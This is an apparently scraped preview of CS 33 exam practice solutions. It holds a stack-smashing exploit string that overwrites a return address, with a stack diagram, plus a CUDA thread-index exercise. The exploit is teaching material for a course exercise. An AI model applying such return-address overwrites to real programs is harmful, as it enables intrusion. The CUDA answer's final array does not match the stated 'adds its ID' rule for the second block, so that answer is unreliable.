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cs33-practice-prob-sol

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CS 33 Spring 2011 Solutions to Exam Practice Problems 3. A Stack Walks into a Bar and Says “It’s Hard to Maintain Discipline While Getting Smashed” Exploit string: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C8 DB FF FF E8 85 04 08 Stack view: Address Value Description 0xFFFFDB5C 0x080485E8 new return address 0xFFFFDB58 0xFFFFDBC8 maintain saved %ebp 0xFFFFDB54 0x00000000 overwrite stack space 0xFFFFDB50 0xFFFFDB4C
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Unformatted text preview: 0xFFFFDB48 0x00000000 0x00000000 0x00000000 fill in buffer 4. I CUDA BIN Somebody – I CUDA BIN A Contender! Initial Array: 1 2 4 8 16 32 64 128 CUDA EXPRESSION VALUES ON EACH THREAD blockIdx.x 0 0 0 0 1 1 1 1 blockDim.x 4 4 4 4 4 4 4 4 threadIdx.x 0 1 2 3 0 1 2 3 blockIdx.x*blockDim.x+threadIdx.x 0 1 2 3 4 5 6 7 Each thread adds its ID to its array element. The final array that is printed is: 1 3 6 11 16 33 66 131...
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